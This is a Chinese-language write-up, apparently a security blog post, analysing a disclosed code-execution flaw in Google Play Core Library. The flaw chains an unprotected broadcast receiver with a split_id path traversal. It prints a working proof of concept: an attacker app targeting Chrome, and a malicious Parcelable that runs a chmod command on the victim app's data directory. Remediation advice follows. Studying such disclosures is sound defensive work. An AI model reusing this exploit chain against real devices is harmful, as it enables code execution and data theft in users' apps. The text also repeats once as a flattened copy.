挖洞经验 | Google Play Core Library中的代码执行漏洞
字数 1321 2025-08-15 21:31:58

Google Play Core Library代码执行漏洞分析与利用

漏洞概述

Google Play Core Library是安卓系统的主流应用库,通过Google API接口为APP提供动态更新推送、存储优化和自适应调整等功能。2020年2月,Oversecured公司发现该库中存在高危代码执行漏洞,影响所有依赖该库的APP应用。

漏洞危害

  • 允许攻击者窃取用户登录凭据、交易信息、电子邮件等敏感数据
  • 可实现任意文件窃取和任意文件覆盖
  • 最终导致任意代码执行

CVSS评分:8.8(高危)

漏洞原理分析

漏洞1:未经保护的广播接收器

com/google/android/play/core/splitinstall/C3748l.java文件中存在一个未受保护的广播接收器:

private C3748l(Context context, C3741e eVar) {
    super(new ae("SplitInstallListenerRegistry"), 
          new IntentFilter("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"), 
          context);
}

同一设备上的第三方应用可通过com/google/android/play/core/listener/C3718a.java广播任意数据:

protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) {
    this.f22595a = aeVar;
    this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService`
    this.f22597c = context;
}

private final void m15347a() {
    if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null)
        this.f22599e = new C3719b(this, 0)
    this.f22597c.registerReceiver(this.f22599e, this.f22596b); // 注册未受保护的广播接收器
}

漏洞2:目录遍历导致任意文件写入

com/google/android/play/core/internal/ab.java中,库会从split_id参数指定的位置拷贝文件:

for (Intent next : list) {
    String stringExtra = next.getStringExtra("split_id");
    File a = this.f22543b.mo32067a(stringExtra); // 存在目录遍历漏洞
    if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists())
        bufferedInputStream = new BufferedInputStream(new FileInputStream(
            this.f21840a.getContentResolver().openFileDescriptor(next.getData(), "r").getFileDescriptor()
        ));
        fileOutputStream = new FileOutputStream(a);
        byte[] bArr = new byte[4096];
        while (true) {
            int read = bufferedInputStream.read(bArr);
            if (read <= 0) break;
            fileOutputStream.write(bArr, 0, read);
        }
    }
}

关键点:

  • 攻击者可以控制split_id参数进行目录遍历
  • 文件会被写入/data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/目录
  • verified-splits目录下的config.*文件会被自动加载到APP的ClassLoader中

漏洞利用链

  1. 文件覆盖:通过目录遍历将恶意文件写入verified-splits目录
  2. 类加载:恶意文件被自动加载到APP的ClassLoader中
  3. 反序列化执行:通过Parcelable接口实现恶意代码执行

利用步骤

  1. 构造恶意split文件并指定split_id../verified-splits/config.test实现目录遍历
  2. 通过未受保护的广播接收器发送构造的Intent
  3. 触发反序列化操作执行恶意代码

PoC代码分析

攻击者端代码

// 启动目标APP
Intent launchIntent = getPackageManager().getLaunchIntentForPackage("com.android.chrome");
startActivity(launchIntent);

// 3秒后发送恶意split文件
new Handler().postDelayed(() -> {
    Intent split = new Intent();
    split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));
    split.putExtra("split_id", "../verified-splits/config.test");
    
    Bundle bundle = new Bundle();
    bundle.putInt("status", 3);
    bundle.putParcelableArrayList("split_file_intents", 
        new ArrayList<Parcelable>(Arrays.asList(split)));
    
    Intent intent = new Intent(
        "com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService");
    intent.setPackage("com.android.chrome");
    intent.putExtra("session_state", bundle);
    sendBroadcast(intent);
}, 3000);

// 5秒后发送恶意Parcelable对象
new Handler().postDelayed(() -> {
    startActivity(launchIntent.putExtra("x", new EvilParcelable()));
}, 5000);

恶意Parcelable实现

public class EvilParcelable implements Parcelable {
    public static final Parcelable.Creator<EvilParcelable> CREATOR = 
        new Parcelable.Creator<EvilParcelable>() {
            public EvilParcelable createFromParcel(android.os.Parcel parcel) {
                exploit();
                return null;
            }
            
            public EvilParcelable[] newArray(int i) {
                exploit();
                return null;
            }
            
            private void exploit() {
                try {
                    Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFor();
                } catch (Throwable th) {
                    throw new RuntimeException(th);
                }
            }
        };
    
    public int describeContents() { return 0; }
    
    public void writeToParcel(android.os.Parcel parcel, int i) {}
}

漏洞修复建议

  1. 更新Google Play Core Library:确保使用最新版本的核心库
  2. 广播接收器保护
    • 添加权限检查
    • 限制接收器只能接收来自可信源的广播
  3. 输入验证
    • split_id参数进行严格校验
    • 防止目录遍历攻击
  4. 安全配置
    • 设置android:exported="false"限制接收器导出
    • 使用签名级别权限保护敏感组件

影响范围

所有依赖Google Play Core Library的APP应用,包括但不限于:

  • Google Chrome
  • 其他使用该库实现动态更新的主流APP

时间线

  • 2020年2月:漏洞被发现
  • 上报谷歌后获得8.8分的威胁评分
  • 2020年9月:漏洞细节公开

总结

该漏洞通过组合利用未受保护的广播接收器和目录遍历缺陷,最终实现任意代码执行。攻击者可借此窃取用户敏感数据,危害极大。开发者应及时更新依赖库并实施适当的安全防护措施。

Google Play Core Library代码执行漏洞分析与利用 漏洞概述 Google Play Core Library是安卓系统的主流应用库,通过Google API接口为APP提供动态更新推送、存储优化和自适应调整等功能。2020年2月,Oversecured公司发现该库中存在高危代码执行漏洞,影响所有依赖该库的APP应用。 漏洞危害 : 允许攻击者窃取用户登录凭据、交易信息、电子邮件等敏感数据 可实现任意文件窃取和任意文件覆盖 最终导致任意代码执行 CVSS评分 :8.8(高危) 漏洞原理分析 漏洞1:未经保护的广播接收器 在 com/google/android/play/core/splitinstall/C3748l.java 文件中存在一个未受保护的广播接收器: 同一设备上的第三方应用可通过 com/google/android/play/core/listener/C3718a.java 广播任意数据: 漏洞2:目录遍历导致任意文件写入 在 com/google/android/play/core/internal/ab.java 中,库会从 split_id 参数指定的位置拷贝文件: 关键点: 攻击者可以控制 split_id 参数进行目录遍历 文件会被写入 /data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/ 目录 verified-splits 目录下的 config.* 文件会被自动加载到APP的ClassLoader中 漏洞利用链 文件覆盖 :通过目录遍历将恶意文件写入 verified-splits 目录 类加载 :恶意文件被自动加载到APP的ClassLoader中 反序列化执行 :通过Parcelable接口实现恶意代码执行 利用步骤 构造恶意split文件并指定 split_id 为 ../verified-splits/config.test 实现目录遍历 通过未受保护的广播接收器发送构造的Intent 触发反序列化操作执行恶意代码 PoC代码分析 攻击者端代码 恶意Parcelable实现 漏洞修复建议 更新Google Play Core Library :确保使用最新版本的核心库 广播接收器保护 : 添加权限检查 限制接收器只能接收来自可信源的广播 输入验证 : 对 split_id 参数进行严格校验 防止目录遍历攻击 安全配置 : 设置 android:exported="false" 限制接收器导出 使用签名级别权限保护敏感组件 影响范围 所有依赖Google Play Core Library的APP应用,包括但不限于: Google Chrome 其他使用该库实现动态更新的主流APP 时间线 2020年2月:漏洞被发现 上报谷歌后获得8.8分的威胁评分 2020年9月:漏洞细节公开 总结 该漏洞通过组合利用未受保护的广播接收器和目录遍历缺陷,最终实现任意代码执行。攻击者可借此窃取用户敏感数据,危害极大。开发者应及时更新依赖库并实施适当的安全防护措施。